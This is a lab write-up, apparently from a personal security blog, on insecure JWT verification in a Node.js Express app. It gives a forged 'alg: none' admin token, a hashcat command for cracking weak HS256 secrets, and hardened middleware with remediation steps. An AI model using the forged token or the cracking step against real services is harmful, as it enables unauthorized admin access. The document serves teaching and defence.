Back to Cyber Lab
API & Web Security2026-06-18Raj VardhanTryHackMe - Hard

JWT Authentication & Insecure Signature Verification

A technical walkthrough of auditing JSON Web Token (JWT) algorithms, exploiting 'None' algorithm misconfigurations, and mitigating weak secret keys.

Vulnerability Analysis

JSON Web Tokens (JWT) are widely adopted in stateless microservices and modern web applications to transmit claims securely between parties. A standard JWT consists of three base64url-encoded parts separated by periods:

Header.Payload.Signature

During a white-box security assessment of a Node.js Express backend, we observed the authentication middleware parsing incoming Authorization: Bearer <token> headers using a permissive verification routine:

// Vulnerable middleware implementation
const jwt = require("jsonwebtoken");

function authenticateToken(req, res, next) {
  const token = req.headers["authorization"]?.split(" ")[1];
  if (!token) return res.sendStatus(401);

  // Insecure: algorithms parameter is not strictly locked
  jwt.verify(token, process.env.JWT_SECRET, (err, user) => {
    if (err) return res.status(403).json({ error: "Invalid token" });
    req.user = user;
    next();
  });
}

Exploitation Vectors

Vector 1: The "None" Algorithm Attack

In older or improperly configured JWT libraries, setting the algorithm field in the header to "alg": "none" instructs the server to treat the token as unsigned:

  1. Decoded Header:
    {
      "alg": "none",
      "typ": "JWT"
    }
    
  2. Decoded Payload (escalating privileges to admin):
    {
      "userId": 104,
      "username": "guest",
      "role": "admin",
      "iat": 1718712000
    }
    
  3. Stripping the signature section entirely:
    eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOjEwNCwidXNlcm5hbWUiOiJndWVzdCIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcxODcxMjAwMH0.
    

When submitted against endpoints checking req.user.role === 'admin', the server granted administrative API access.

Vector 2: Weak HMAC Secrets & Hashcat Brute-forcing

When the server enforces HMAC-SHA256 (HS256), but uses a low-entropy secret string, the signing key can be recovered offline without sending thousands of requests to the target:

# Hashcat brute force with rockyou.txt
hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt

Once the secret key is cracked, an attacker can sign custom forged tokens with arbitrary administrative claims.

Hardened Remediation

  1. Explicitly Restrict Permitted Algorithms: Never allow client headers to dictate the signature algorithm.
  2. Enforce Strong Cryptographic Secrets: Use minimum 256-bit randomly generated keys stored securely in environment secret managers.
  3. Validate Expiration & Audience: Always verify exp, aud, and iss claims.
// Hardened implementation
const jwt = require("jsonwebtoken");

function secureAuthenticate(req, res, next) {
  const authHeader = req.headers["authorization"];
  const token = authHeader && authHeader.split(" ")[1];
  if (!token) return res.status(401).json({ error: "Access token required" });

  jwt.verify(
    token, 
    process.env.STRONG_JWT_SECRET, 
    { 
      algorithms: ["HS256"], // Strictly lock algorithms
      clockTolerance: 10,
    }, 
    (err, decoded) => {
      if (err) return res.status(403).json({ error: "Token signature verification failed" });
      req.user = decoded;
      next();
    }
  );
}
JWTAuthenticationBurp SuiteOWASP Top 10Web Security